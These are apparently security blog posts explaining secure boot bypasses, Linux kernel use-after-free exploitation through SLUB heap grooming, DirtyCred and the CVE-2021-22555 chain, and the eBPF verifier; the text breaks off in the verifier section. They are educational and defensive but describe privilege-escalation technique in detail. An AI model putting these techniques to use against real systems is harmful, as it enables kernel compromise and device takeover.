Author: UnboundCompute

  • How a Device Decides to Trust Its Own Firmware

    How a Device Decides to Trust Its Own Firmware

    A phone, a router, a smart camera, and a car all start the same way. Power arrives, a CPU comes alive, and within microseconds the chip has to answer one question before it does anything else: should I run the code sitting in flash, or has someone swapped it for their own? Secure boot is the machinery that answers that question. It builds a chain of checks that starts in a tiny piece of code burned into the silicon and that the manufacturer cannot change, then extends trust outward one stage at a time until a full operating system is running. This post walks that chain from the bottom up. We start at the immutable boot ROM and the hardware root of trust, follow how each stage verifies the next with a signature check, and then look at the real places attackers break the chain, not by cracking the cryptography, but by stopping the check from running at all.

    What secure boot is actually deciding

    Strip away the acronyms and secure boot is a single repeated decision. At every handoff during startup, the code that is currently in control measures the code it is about to run, checks that measurement against a trusted reference, and refuses to continue if they do not match. The reference is a digital signature. The trusted party is the device maker, who signed each firmware image with a private key that never leaves their build infrastructure. The device holds the matching public key, or a fingerprint of it, and uses that to confirm the signature was made by the right party and that not one byte of the image has changed since.

    That sounds simple, and conceptually it is. The hard part is the very first link. To check a signature you need a trusted public key. To trust that public key you need something that was itself never tampered with. You cannot verify your way down forever, so the chain has to terminate in something the attacker physically cannot rewrite. That something is the hardware root of trust, and everything else hangs off it.

    The hardware root of trust: where trust has to start

    The root of trust is not software in the usual sense. It is a small block of code fixed permanently in the chip during manufacturing, called the boot ROM, plus a place to store the device maker’s public key fingerprint that can be written once and never again. When the CPU comes out of reset, the program counter does not point at flash. It points at this boot ROM. The very first instruction the processor runs is code the attacker has no way to modify, because it was etched into the silicon mask. This is the anchor. If an attacker could change the boot ROM, the whole scheme would collapse, so the design makes that physically impossible rather than merely difficult.

    eFuses and one time programmable memory

    The boot ROM needs the device maker’s public key to check the next stage, but baking a full 4096 bit key into the ROM is wasteful and inflexible. Instead the chip stores only a cryptographic hash of the public key, often a SHA-256 or SHA-384 digest, in a bank of eFuses. An eFuse is a microscopic link that the factory can blow exactly once by passing current through it, flipping a bit from one to zero forever. This kind of storage is called one time programmable, or OTP. Once the key hash is fused in, there is no electrical way to roll a blown fuse back to its original state. The key fingerprint becomes a permanent property of that physical chip.

    The flow at first power on goes like this. The boot ROM reads the actual public key from flash, where it sits alongside the signed firmware. It hashes that key and compares the result against the fingerprint locked in the eFuses. If they match, the key is genuine and can be trusted to verify signatures. If they do not match, the boot ROM stops. This indirection is deliberate. The chip commits to a tiny fixed value, the hash, while the full key lives in cheaper rewritable storage. An attacker can replace the key in flash, but then its hash no longer matches the fuses, and the boot ROM rejects it.

    The fuse does not store a secret. It stores a public fingerprint that can never be unsaid, and that permanence is the entire point. Everything the device will ever trust traces back to a value the attacker cannot rewrite.

    Walking the chain upward, one signature at a time

    With a trusted key in hand, the boot ROM can verify the next piece of code. That next piece is usually the first stage bootloader, a small program in flash whose job is to bring up enough of the system to load the larger pieces that follow. The image is shipped with a signature: the device maker hashed the bootloader, encrypted that hash with their private key, and appended the result. The boot ROM hashes the bootloader it found in flash, uses the now trusted public key to verify the signature, and compares. Match means the bootloader is authentic and unmodified, so control passes to it. Mismatch means stop.

    Here is the structural idea that makes secure boot work. Each stage, once verified, becomes trusted, and it carries the same responsibility forward. The first stage bootloader verifies the second stage. The second stage verifies the operating system kernel. On a device with a richer software stack, the chain can keep going into a hypervisor or a trusted execution environment. Each link uses the same pattern: hash the next image, verify its signature against a key that the current trusted stage already vouches for, refuse to continue on failure. Trust flows in one direction only, from the silicon outward, and it is never assumed, only checked and passed along.

    [ Boot ROM ]        immutable, in silicon
         |  verifies signature of
         v
    [ First stage bootloader ]   in flash, signed
         |  verifies signature of
         v
    [ Second stage bootloader ]  in flash, signed
         |  verifies signature of
         v
    [ OS kernel ]                in flash, signed
         |
         v
    [ Applications ]

    A useful contrast helps here. Some systems do measured boot instead of, or alongside, secure boot. Measured boot does not stop a bad image from running. It records a hash of each stage into a secure log, often inside a security chip, so a later party can inspect the log and decide whether the device is in a known good state. Secure boot is enforcement: a bad stage never runs. Measured boot is evidence: a bad stage runs but leaves a record. Many designs use both, because they answer different questions.

    Anti rollback: blocking the downgrade trick

    Signature checking alone has a gap. Suppose version 5 of the firmware shipped with a security fix, but version 3 was also signed by the same valid key a year earlier and had a flaw. An attacker who keeps a copy of the old version 3 image can flash it back. Its signature is still valid, because the key has not changed, so a naive secure boot accepts it. The attacker has downgraded the device to a vulnerable but properly signed build. This is a rollback attack, and it defeats the purpose of patching.

    The defense is an anti rollback counter, a monotonic version number stored in OTP fuses or other secure non volatile memory. Each firmware image carries a minimum version it is willing to run as. When a new version boots, it can burn the counter forward to its own version. From then on, the boot process refuses any image whose version is below the stored counter, even if that image is perfectly signed. Because the counter lives in fuses that only move in one direction, the attacker cannot wind it back. The old signed image becomes unbootable on that device. This is why secure boot designs care about a monotonic counter as much as about signatures: the signature proves who made the image, and the counter proves it is recent enough to trust.

    Where the secure boot chain actually breaks

    Now the interesting part. In almost every real world bypass, the cryptography stays intact. Nobody factors the RSA key or finds a hash collision. Attackers go after the assumption underneath the whole scheme: that the verify step always runs, and always runs correctly. Break that assumption and the strongest signature in the world never gets checked. Here are the recurring weak points, described as concepts rather than as a recipe.

    Stages that were never signed in the first place

    The simplest break is a chain with a missing link. A designer signs the bootloader and the kernel but forgets to verify a later component, a configuration blob, a device tree, a secondary processor’s firmware, a recovery image. Any stage that loads code without checking a signature is an open door. The attacker does not need to defeat the strong links. They walk through the unverified one and gain control inside the trusted boot flow. Secure boot is only as strong as its weakest handoff, and a single unsigned stage anywhere in the sequence resets the whole guarantee. This is the same lesson as ordinary software privilege escalation, where one component that trusts input it should have checked hands an attacker more power than they were supposed to have.

    Debug interfaces left wide open

    Chips ship with hardware debug ports for development: JTAG, serial wire debug known as SWD, and a serial console over UART. These let an engineer halt the processor, read and write memory, and single step through code. They are essential during development and are supposed to be disabled or locked before a device ships. When they are left enabled, secure boot becomes almost beside the point. An attacker with a few dollars of wiring can attach a debugger, halt the CPU partway through boot, and either patch the comparison that decides whether a signature matched or simply jump past the check entirely. The signature is still valid and still present. It is just never the thing that decides what runs.

    A UART console deserves its own mention because it is so often overlooked. A serial port that drops to an interactive bootloader prompt, or that prints enough internal state to map the boot flow, gives an attacker both a foothold and a blueprint. Many embedded compromises start with nothing more exotic than soldering three wires to test pads and watching what the device says about itself as it boots.

    Fault injection: glitching the check into passing

    The most striking attacks accept that the signature check runs, then make it lie. Fault injection, also called glitching, deliberately pushes the chip outside its safe operating range for a few nanoseconds at a precise moment. A sharp dip or spike on the power supply, a sudden change in the clock, or a focused electromagnetic pulse can cause a single instruction to misbehave. The processor might skip an instruction, or compute the wrong result for a comparison. If that corrupted instruction happens to be the branch that says jump to failure if the signature did not match, the device sails on as if the check passed.

    This is not a theoretical worry. Security researchers have publicly demonstrated voltage glitching that bypasses secure boot on the popular ESP32 microcontroller, timing the glitch to land exactly when the boot ROM performs its verification. On Nordic Semiconductor’s nRF52 chips, a fault injection attack presented at Black Hat Europe in 2020 by the researcher behind LimitedResults defeated the APPROTECT feature that is meant to lock the debug port, effectively resurrecting full SWD debug access on a chip that was supposed to be sealed. Researchers have also used electromagnetic fault injection against the Linux kernel authentication stage of Android secure boot on an ARM Cortex A53, getting the device to accept an unsigned kernel some fraction of the time. The pattern across all of these is identical. The math was never attacked. The hardware was nudged into not running the math.

    TOCTOU: verify one image, run another

    There is a subtler failure that does not need a single physical fault. It is a time of check to time of use problem, usually shortened to TOCTOU. The boot code reads an image, verifies its signature, and then, in a separate step, loads the image into memory and runs it. If the storage can change between the verify and the load, an attacker can present a good image during the check and swap in a malicious one before it actually executes. The check passed honestly. It just validated a copy that is no longer the one being run. This shows up when verification reads from a location that direct memory access or a second processor can still write to, or when the image is verified in place and then copied with no re check. The fix is to verify the exact bytes you are about to execute, after they are in memory you control, and never give anything else a window to touch them in between.

    Rollback and key handling mistakes

    Even with everything else right, weak key handling unravels the chain. If the anti rollback counter is never actually advanced, old signed images with known flaws stay bootable. If a device maker’s signing key leaks, every device that trusts it will happily run attacker firmware, and revoking a key fingerprint that is fused into millions of chips ranges from painful to impossible. If the same key signs every product line with no segmentation, one leak compromises the entire fleet. These are not glamorous attacks, but they are common, because key management is operationally hard and the consequences are permanent in a way that software bugs are not.

    Why the secure boot chain holds or fails as a whole

    Look back across the breaks and a single shape emerges. The boot ROM is immutable, the fuses cannot be rewound, the signatures are cryptographically sound, and the chain is logically airtight. Attackers ignore all of that and target the seams. An unsigned stage means a link that never checks. An open JTAG port means the check can be patched out. A glitch means the check runs but produces the wrong answer. A TOCTOU window means the check validated the wrong bytes. In each case the cryptography is fine and the device is still owned, because the thing that failed was the guarantee that verification happens, on the real payload, every single time.

    This is the same way the most interesting software vulnerabilities get found. You do not start from a list of known bad inputs. You ask what each component is assuming about the thing that calls it or the thing it loads, then you find a way to make that assumption false. We dig into that mindset in our piece on how attackers find vulnerabilities. Hardware and software both reward the same question: where does this system trust something it never actually verified, and what happens when I stand in that gap?

    What a defender should take away

    If you build or buy devices that depend on secure boot, the checklist follows straight from the failure modes above. Verify every stage, with no unsigned component anywhere in the load order, including recovery paths and secondary processors. Disable or permanently lock JTAG, SWD, and UART debug access in production, and treat a chip whose debug lock can itself be glitched off as a chip whose debug lock you do not really have. Burn and enforce anti rollback counters so old signed images cannot come back. Verify the exact bytes you execute, after they are in memory you control, to close TOCTOU windows. Treat fault injection as a real threat for any device an attacker can physically hold, and prefer chips with hardened verification and glitch detection. And guard the signing keys as the crown jewels they are, because a fused root of trust is forever, in both directions.

    None of these controls is exotic on its own. The failures happen at the joins, where a reasonable looking design quietly assumed that a check would run when it did not, or ran on bytes that were no longer there. That is the heart of it. Secure boot does not fail because the cryptography is weak. It fails because an attacker found a way to make the verify step not run, or run on the wrong thing, or be skipped by a chip that was pushed past its limits. The cryptography assumes the check happens. The attacker breaks the assumption, not the math, and testing that assumption, asking whether the verify step truly runs every time on the real payload, is where the real security work lives.

    Frequently asked questions

    What is the hardware root of trust in secure boot?

    It is the part of the chain that an attacker physically cannot rewrite. It is the immutable boot ROM, the first code the CPU runs at reset, etched into the silicon, plus a one time programmable store such as eFuses that holds a hash of the device maker’s public key. The boot ROM uses that fused fingerprint to confirm the verification key is genuine before it checks any signature, so trust starts from a value no one can change after manufacturing.

    Why store a key hash in eFuses instead of the full key?

    An eFuse is a link the factory blows once, flipping a bit permanently, so the storage is one time programmable and cannot be rolled back. Storing a short SHA-256 or SHA-384 hash of the public key costs far fewer fuses than a full 4096 bit key while still pinning the chip to one trusted key. The complete key lives in cheaper rewritable flash, and the boot ROM rejects it if its hash does not match the fingerprint locked in the fuses. ARM describes these trust anchors in its platform security documentation.

    How do attackers bypass secure boot without breaking the cryptography?

    They stop the verify step from running or make it lie. Common breaks include a later stage that was never signed, debug ports such as JTAG, SWD, or UART left enabled so the check can be patched out, and fault injection or glitching that nudges the chip into skipping the comparison. There is also TOCTOU, where the code verifies one image and then loads a different one. In each case the signature math is sound and the device is still compromised.

    What is an anti rollback counter and why does it matter?

    It is a monotonic version number stored in fuses or secure non volatile memory that only ever moves forward. Without it, an attacker can reflash an older firmware version that is still validly signed but has a known flaw, undoing a security patch. The counter lets each new image refuse to run if its version is below the stored value, so old signed builds become unbootable. NIST covers this rollback prevention in SP 800-193.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

  • What Actually Happens In A Kernel Use After Free

    What Actually Happens In A Kernel Use After Free

    A kernel use after free is one of the few bugs that can turn an ordinary local user into root without ever touching a password file. The shape of the bug is simple to state. Some piece of kernel code frees an object, then keeps using a pointer to it. The allocator, meanwhile, hands that same memory to a different object the attacker controls. From the moment of reuse the kernel is reading and writing through a pointer that no longer means what it thinks it means. This post goes to the metal: how the kernel heap is laid out, what a freed object actually looks like in memory, the exact instant a freed slot gets reused by an attacker chosen object, and why that single overlap becomes a privilege escalation primitive rather than just a crash.

    The kernel heap is not one big pool

    Userspace programmers picture the heap as a single arena that malloc carves up. The kernel works differently, and the difference is the whole reason these bugs are exploitable in the way they are. The kernel allocates small objects through the SLUB allocator, which does not manage one pool. It manages many small pools, each one dedicated to objects of a particular size.

    When kernel code calls kmalloc(200, GFP_KERNEL), the request is rounded up to the next size class and served from a cache named for that class. There is a kmalloc-256 cache, a kmalloc-512, a kmalloc-1024, and so on. Each cache owns a set of slabs, where a slab is one or more contiguous pages of memory sliced into equal sized object slots. A kmalloc-256 slab built from a single 4096 byte page holds sixteen slots of 256 bytes each. Every object that the kernel allocates at that size lands in one of those slots.

    This matters because objects of the same size share a cache. A network buffer, a filesystem structure, and a credential record can all be 256 bytes, and if so they compete for slots in the same kmalloc-256 slab. That shared residency is the soil every use after free grows in. To reuse a freed object as something dangerous, an attacker needs the kernel to place the dangerous object in the slot that was just vacated. Same size, same cache, same slab. The allocator is doing exactly its job. The attacker is just choosing what fills the hole.

    What a freed object actually looks like

    Here is the detail most explanations skip. When SLUB frees an object, it does not zero it and it does not hand it back to the page allocator. It threads the slot onto a free list, and the free list lives inside the freed objects themselves. SLUB writes the address of the next free object into the first bytes of the slot being freed. The freed memory becomes a node in a singly linked list of holes.

    kmem_cache_cpu.freelist  -->  slot A
    slot A: [ next = &slot C ][ stale leftover bytes ... ]
    slot C: [ next = &slot D ][ stale leftover bytes ... ]
    slot D: [ next = NULL    ][ stale leftover bytes ... ]

    Two facts fall out of this layout. First, a freed object still contains its old contents past the embedded free pointer, so a dangling pointer can often still read meaningful stale data. Second, allocation is a pop from the head of this list. The per cpu structure kmem_cache_cpu holds a freelist field pointing at the first free slot. To allocate, SLUB reads the next pointer out of that slot, sets the free list head to it, and returns the slot. To free, it writes the current head into the slot and points the head at the slot. Allocation is last in, first out. The most recently freed object of a given size is the very next one handed out.

    That ordering is a gift to an attacker. Free the victim, then immediately allocate an object of the same size, and you get the victim’s slot back with high reliability. No guessing, no spray needed in the simplest case. The allocator’s own efficiency hands the freed slot straight back.

    The exact moment of reuse in a kernel use after free

    Now we can describe a kernel use after free with precision instead of hand waving. Walk the timeline of a single slot.

    • At time one the kernel allocates object X into slot S and stores a pointer to it somewhere, say a field in a longer lived structure. The pointer is the reference.
    • At time two some code path frees X. SLUB threads slot S onto the free list. The reference the kernel kept is now dangling. It still points at slot S, but slot S is officially free memory.
    • At time three the attacker triggers an allocation of an object Y of the same size class. SLUB pops slot S off the free list and returns it. Object Y now lives in slot S, and crucially the attacker controls the bytes written into Y.
    • At time four the kernel uses the dangling reference, believing it still points at object X. It reads or writes through that pointer. But the bytes there are now object Y, filled by the attacker.

    The reuse at time three is the hinge. Before it, the dangling pointer points at junk and the worst case is a crash. After it, the dangling pointer points at a structure whose contents the attacker chose. The kernel is about to interpret attacker data as a trusted object. Everything that makes this a privilege escalation rather than a denial of service happens in the gap between the kernel’s mental model, which says slot S is still object X, and the physical reality, which says slot S is now object Y.

    A use after free is not a memory error in the usual sense. It is a disagreement about ownership. Two objects believe they own the same bytes, and the attacker controls which belief the CPU acts on.

    Heap grooming: making the right object land in the hole

    In a real bug the freed slot and the reuse rarely line up by luck, so attackers shape the heap first. This is heap grooming, sometimes called heap feng shui. The goal is to arrange the free list so the slot you are about to free, and then reclaim, is predictable.

    A common move is to allocate a run of filler objects to fill partially used slabs, free a few at chosen positions to open known holes, then trigger the bug so the vulnerable object lands next to or inside a slot you understand. After the free, the attacker sprays many copies of the replacement object so that even with some noise from other kernel activity, one of the sprayed copies almost certainly captures the freed slot. Message queue objects, socket buffers, and extended attribute buffers are popular spray vehicles because their size is attacker controlled and their contents are largely attacker controlled too. You pick a spray object whose size rounds into the same kmalloc cache as the victim, because reuse only works inside one cache.

    There is a second reason grooming is necessary, and it comes from the per cpu free list. SLUB keeps a hot free list per CPU core. If the free and the reclaiming allocation run on different cores, they touch different free lists and the reclaim can miss. Exploits often pin themselves to one CPU with sched_setaffinity so the free and the spray hit the same per cpu list, restoring the clean last in, first out behavior the attack depends on. They also keep the spray objects in their own size band when they want the freed slot to come from a fresh slab rather than a busy one. These are small operational details, but they are the difference between a use after free that reclaims on the first try and one that reclaims one time in fifty.

    Cache merging widens the field

    SLUB also merges caches to save memory. Two caches that ask for the same object size and compatible flags can be folded into one shared cache at boot. The practical effect for an attacker is that an object you would expect to be isolated may in fact share a slab with general kmalloc allocations of the same size, because the kernel merged them. That expands the set of objects you can use to reclaim a freed slot. It also explains why a defense as simple as giving a sensitive structure a dedicated, non mergeable cache closes a whole class of reuse. If the victim cannot share a slab with anything you can spray, you cannot reclaim its freed slot with a chosen object, and the use after free loses its teeth.

    Why reuse becomes power: choosing the victim object

    Reuse alone is not escalation. What makes a use after free a root shell is the choice of which object reclaims the freed slot. The attacker wants an object that, once it overlaps the dangling reference, gives control over something the kernel trusts. Three classic targets show the range.

    A function pointer you can aim

    Some kernel objects hold a pointer to an operations table, a struct full of function pointers the kernel calls to do work. struct pipe_buffer is the textbook example. It carries a field ops that points at a static table such as anon_pipe_buf_ops, and the kernel calls through that table when a pipe is read, released, or confirmed. If an attacker reclaims a freed slot with a pipe_buffer whose ops field they control, the next pipe operation calls a function pointer of the attacker’s choosing. That is control flow hijack, the path toward running a chosen sequence of kernel instructions.

    A length or pointer field you can lie about

    Other victims do not need a function pointer at all. If the reclaiming object exposes a length field or a data pointer that the kernel later trusts for a copy, overwriting it turns a bounded operation into an arbitrary read or write. A message object whose size field has been inflated lets the kernel copy far more than the original allocation, reading neighboring kernel memory back to the attacker. This is the data only road, and it does not care about code at all.

    A credential you can swap

    The cleanest escalation skips memory corruption entirely. Every process points at a struct cred that records its uid and gid. A uid of zero is root. The DirtyCred technique, presented at a 2022 conference, builds on exactly this. Rather than forging bytes, it frees a credential or file object the process relies on, then races to allocate a privileged object of the same type into the freed slot. The kernel keeps using its dangling reference, except the reference now resolves to a privileged credential. The process is root because it is pointing at root’s credentials, and no kernel address ever needed to leak. The free list did the swap.

    The file flavor of the same idea is worth seeing because it shows how little corruption a strong technique needs. An attacker opens a writable file, which the kernel checks and approves, then begins a write. Between the permission check and the actual write the attacker frees the file object through the bug and reallocates the slot with a file object opened against a read only target. The write the kernel already approved now lands on the read only file, because the reference it followed points at the swapped object. There is no forged pointer and no leaked address. The whole exploit is a well timed free and a reclaim, which is why these data only techniques survive across kernel versions and architectures that break pointer based exploits. They depend only on the allocator doing what it always does: hand a freed slot to the next request of the right size.

    A real kernel use after free walked end to end

    Concrete beats abstract, so anchor this in a documented bug. CVE-2021-22555 is a heap out of bounds write in the netfilter subsystem that had been present since Linux 2.6.19 in 2006, reachable by an unprivileged user through a user namespace. It is not itself a use after free, but the public writeup turns it into one, and the steps map onto everything above.

    The flaw is a small overflow. When the kernel translates 32 bit iptables rules into 64 bit form, a memset writes a short run of zero bytes just past the end of an allocation. A few zero bytes does not sound like much. The exploit makes it enough.

    The groom uses System V message queues, whose struct msg_msg headers carry a next pointer to a continuation segment and live in a controllable kmalloc cache. The attacker lays out primary and secondary messages so the two zero bytes land on the next pointer of a message header, clearing its low bytes and bending it to alias a second message. Now two message references point at one underlying object. Reading the message through one path frees the shared object while the other path keeps a stale reference. That stale reference is the use after free, manufactured out of a tiny overflow.

    From there the pattern is the one we built. The attacker sprays struct pipe_buffer objects to reclaim the freed slot, reads back through the dangling reference to leak the address of a static kernel table and defeat KASLR, then reclaims again with a pipe_buffer whose ops pointer is forged. Closing the pipe calls through the forged table, redirecting kernel control flow into a chain that runs commit_creds(prepare_kernel_cred(NULL)), which installs root credentials on the current process. One overflow of two zero bytes, groomed into a use after free, reclaimed by a chosen victim, escalated to root. Every link is a piece described above. The MITRE record for the bug is CVE-2021-22555.

    Why the kernel cannot just notice

    A fair question is why the kernel does not simply detect that an object was freed and refuse to use it. The answer is that at the machine level there is nothing to detect. A pointer is a number. A freed slot is the same bytes it was a microsecond ago, minus the embedded free pointer SLUB wrote at the front. The CPU dereferencing a dangling pointer sees a valid mapped address with plausible contents. Nothing faults. The type system that would have caught this lived in the source code and was compiled away.

    Defenses therefore attack the mechanics rather than the intent. Freelist pointer hardening, enabled by CONFIG_SLAB_FREELIST_HARDENED, stores the embedded next pointer obfuscated rather than raw. Instead of writing the next address plainly, SLUB stores it as the address XORed with a per cache random secret and with the slot’s own location, so a value computed roughly as ptr ^ slab_secret ^ slot_address. An attacker who overwrites a freed slot can no longer forge a valid free pointer without knowing the secret, which blocks the trick of pointing the free list at an arbitrary address. Cache separation moves sensitive objects out of the general kmalloc caches so they cannot share a slab with attacker controlled sprays. Credentials, for example, were given their own dedicated cache with account flags so they no longer merge with general allocations, which is why straightforward credential overwrites stopped working and attackers moved to cross cache techniques. Allocator quarantine and randomization delay and shuffle reuse so that the clean last in, first out reclaim is no longer a sure thing.

    None of these make the underlying bug disappear. They raise the cost of the step between free and reuse. That is the honest framing: the dangling pointer is still wrong, the hardening only makes the wrongness harder to convert into control. Spotting the dangling pointer in the first place is a reasoning problem, the same kind of assumption testing covered in our piece on how vulnerabilities are actually found, and the escalation that follows is the classic privilege escalation story told at the level of slab slots.

    The assumption that outlived its reference

    Strip away the slabs and the spray and the forged tables and one assumption is left standing. The allocator assumes that when an object is freed, every reference to it is gone. Freeing is a promise the rest of the kernel makes: I am done with this, you may give the bytes to someone else. A use after free is that promise broken. A reference survived the free, and it kept pointing at the slot after the allocator handed those bytes to another owner.

    Everything dangerous follows from that single broken promise. The size class sharing, the last in first out reclaim, the choice of a credential or a function pointer as the new tenant, all of it is just leverage applied to a reference that outlived its assumption. The allocator is not buggy and the victim object is not buggy. The bug is a pointer that should have been forgotten and was not. Finding that surviving reference, the one the code assumed could never still be live, is the whole game, and it is exactly the kind of assumption an autonomous researcher built to question what each component trusts is meant to surface before an attacker does. More on that approach is on our about page.

    Frequently asked questions

    What is a kernel use after free in simple terms?

    It is a bug where the kernel frees an object but keeps a pointer to it, then the allocator hands that same memory to a different object. When the kernel uses the old pointer it reads or writes a structure that someone else now owns. If an attacker controls the contents of that new object, the kernel ends up trusting attacker chosen bytes as if they were a legitimate object.

    Why does the SLUB allocator make use after free bugs exploitable?

    SLUB serves objects from per size caches like kmalloc-256, and objects of the same size share slabs. It threads freed slots onto a free list stored inside the freed objects, and allocation pops from the head, so the most recently freed slot is the next one returned. An attacker frees the victim then immediately allocates a same size object to reclaim that exact slot with reliable timing.

    How does a use after free turn into root access?

    The freed slot is reclaimed by a victim object that gives control over something trusted. That can be a function pointer table like the ops field of a struct pipe_buffer, a length field that enables an arbitrary read or write, or a struct cred whose uid the attacker swaps for zero. The DirtyCred technique uses the credential swap path. A documented end to end example is CVE-2021-22555 in netfilter.

    Can the kernel detect a dangling pointer on its own?

    Not at runtime. A pointer is just a number and a freed slot still holds plausible bytes, so dereferencing it does not fault. Mitigations such as CONFIG_SLAB_FREELIST_HARDENED, dedicated caches for sensitive objects, and reuse randomization raise the cost of converting the bug into control, but they do not remove the surviving reference. The kernel.org documentation describes the hardening option at kernel self protection.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

  • How the eBPF verifier works, and where its proof has broken

    How the eBPF verifier works, and where its proof has broken

    The eBPF verifier is the piece of the Linux kernel that lets an ordinary, unprivileged program run code inside ring 0 and tries to prove, before that code ever executes, that it cannot crash, hang, or read memory it should not touch. That is an unusual bargain. Normally the kernel keeps user code at arm’s length behind a system call boundary. eBPF erases that wall on purpose, then rebuilds it as a static proof: a program is loaded as bytecode, the verifier walks every path through it, and only a program it can prove safe is allowed to run. This post takes the verifier apart from the inside, how it models registers and bounds, how it walks the program as a graph, where the proof is sound, and the real bugs where a flaw in that proof turned attacker bytecode into kernel read and write and a root shell.

    Why the eBPF verifier is a security boundary

    Start with what eBPF actually is, because the danger only makes sense once you see what it replaces. eBPF lets a user attach a small program to a hook inside the kernel: a network packet arriving, a system call entering, a tracepoint firing. The program runs in kernel context, with kernel speed, on kernel data. There is no context switch and no copy across a boundary. That is the whole point. It is also the whole problem.

    On many distributions, loading some classes of eBPF program does not require root. An ordinary local user can hand the kernel a blob of bytecode and ask it to run that blob in the most privileged context the machine has. Nothing else in Linux works like this. A normal process that wants kernel work to happen makes a system call and waits; the kernel does the work and hands back a result. eBPF instead accepts the code itself. So the kernel cannot trust the program, and it cannot sandbox it the cheap way with a separate address space, because the entire value of eBPF is that the program runs with no isolation at all.

    That leaves exactly one option. Prove the program safe before running it. The verifier is that proof engine. It performs a static analysis of the bytecode and rejects anything it cannot show is safe. If the analysis is correct, an unprivileged user can run code in ring 0 and the worst they can do is whatever the verifier permits. If the analysis is wrong, the same user runs arbitrary code in ring 0, which is the textbook definition of privilege escalation. The verifier is not a performance feature or a linter. It is the only thing standing between an unprivileged process and the kernel’s memory.

    What the verifier has to prove

    The verifier’s job is narrow to state and hard to do. For every instruction on every reachable path, it must show a short list of things hold:

    • Every memory load and store lands inside a region the program is allowed to touch, with the right size and alignment.
    • Every register that gets read was written first, so the program cannot leak uninitialized kernel stack.
    • The program always terminates, so it cannot hang the kernel in an unbounded loop.
    • Pointers are never leaked to user space as raw numbers, and pointer arithmetic never wanders a pointer out of its object.
    • Helper functions are called with arguments of the type and range they expect.

    The hard one is memory access. A store like *(u64 *)(r1 + r2) = r3 is safe only if the kernel can be certain, at verification time, that r1 + r2 points somewhere legal for all values r2 could take at run time. The verifier does not get to run the program to find out. It has to reason about every possible value of r2 using nothing but the bytecode. To do that it builds an abstract model of what each register could hold.

    How the proof works: registers, tnums, and bounds

    The verifier runs an abstract interpretation. Instead of tracking the concrete value in each register, which it cannot know, it tracks a set of possible values, and it updates that set as it simulates each instruction. The kernel keeps a struct bpf_reg_state for all eleven registers plus the stack slots. Two parts of that state matter most.

    tnum: which bits are known

    The first is the tnum, short for tracked number. A tnum is a pair of 64 bit fields, a mask and a value. The kernel docs put it plainly: ones in the mask are bits whose value is unknown, and ones in the value are bits known to be one. So a register the verifier knows nothing about has an all ones mask. A register known to be exactly 8 has a zero mask and a value of 8. After an instruction like r0 &= 0xff, the verifier can mark the top 56 bits as known zero, because anding with a constant clears them no matter what was there before. The tnum is how the verifier reasons about bitwise operations and alignment without ever knowing the concrete number.

    min and max bounds

    The second part is a set of range bounds. For each register the verifier tracks a minimum and maximum read as unsigned, umin_value and umax_value, and a minimum and maximum read as signed, smin_value and smax_value. A conditional branch refines these. If the program does if (r2 > 8) goto ..., then on the path where the branch is taken the verifier sets r2‘s umin_value to 9, and on the fall through path it caps umax_value at 8. The branch teaches the verifier something true about the register on each side, and the verifier records it.

    The tnum and the bounds describe the same register from two angles, and the verifier keeps them in sync. A known bit pattern can tighten a numeric range, and a numeric range can reveal that certain high bits must be zero. That cross talk between the two representations is where the proof gets its strength, and, as we will see, where it has repeatedly gone wrong.

    Put it together with an example. The program loads an attacker controlled value into r2, then masks it: r2 &= 0x7. Now the verifier knows, from the tnum, that r2 is between 0 and 7. The program uses r2 as an index into a map value that is 8 bytes long. Because 0 through 7 are all in bounds, the verifier proves the access is safe and lets it through. The attacker never controlled the verifier’s belief, only the run time value, and the belief was true for every value. That is the proof working.

    Walking the program as a graph

    A proof about one instruction is easy. The verifier has to prove the whole program, and a program has branches, so the values reaching any instruction depend on the path taken to get there. The verifier handles this in two passes.

    First it does a check on the control flow graph. It treats the program as a directed graph and rejects anything with an unbounded back edge, which is how it forbids loops the old way. Bounded loops are allowed in newer kernels, but the verifier still has to prove they terminate. No loop it cannot bound gets to run, because a kernel program that never returns is a kernel that never returns.

    Second it walks the graph. Starting at the first instruction, it descends every reachable path, simulating each instruction and updating the register and stack state as it goes. At a branch it explores both sides, each with its own refined bounds. This is a path sensitive analysis, and it is exactly as expensive as it sounds. A program with many branches has a number of paths that grows toward exponential, and the verifier walks them.

    The complexity limit and state pruning

    Two mechanisms keep that walk from running forever. The first is a hard ceiling: the verifier will examine at most one million instructions across all paths before it gives up and rejects the program. This is a real number in the kernel and it is a security control, not just a resource guard. A program complex enough to exhaust the analysis is refused rather than trusted.

    The second is state pruning, and it is the clever part. When the verifier reaches an instruction it has visited before on another path, it compares the current register and stack state to the states it recorded earlier. If a previous state was at least as general as the current one, meaning everything safe then is still safe now, the verifier stops walking this path. It already proved the rest. The functions states_equal and regsafe decide whether one state is covered by another. Pruning is what makes the verifier fast enough to be usable. It is also a place where a wrong judgment about whether two states are equivalent can skip the analysis of a path that was not actually safe.

    The verifier does not check what a program does. It proves what a program could do, over every value and every path, using an abstract model. The dangerous bugs all live in the gap between that model and the silicon it stands in for.

    Where the proof has broken: bounds tracking CVEs

    The verifier is sound only if its abstract model never claims a register is more constrained than it really is. The instant the model believes a register is bounded when the true run time value is not, the proof certifies an out of bounds access as safe, and the attacker gets to read or write kernel memory. Several of the worst Linux local privilege escalations of recent years are exactly this failure. Finding them is the same discipline we describe in how hackers find vulnerabilities: understand what the system assumes, then look for the case where the assumption is false.

    CVE-2020-8835: 32 bit bounds and a false belief

    CVE-2020-8835, found by Manfred Paul, lived in how the verifier handled bounds for 32 bit operations. All bounds were tracked on the full 64 bit register, and the logic that tried to learn something about the lower 32 bits from a 32 bit jump made a wrong inference. The flaw, in plain terms: the verifier saw that a register’s unsigned minimum and unsigned maximum both ended in the same low bits and concluded that every value in between shared those low bits too. That does not follow. If a register ranges from 1 to 2 to the 32nd plus 1, the endpoints share a low bit pattern, but a value like 2 sits between them with completely different low bits.

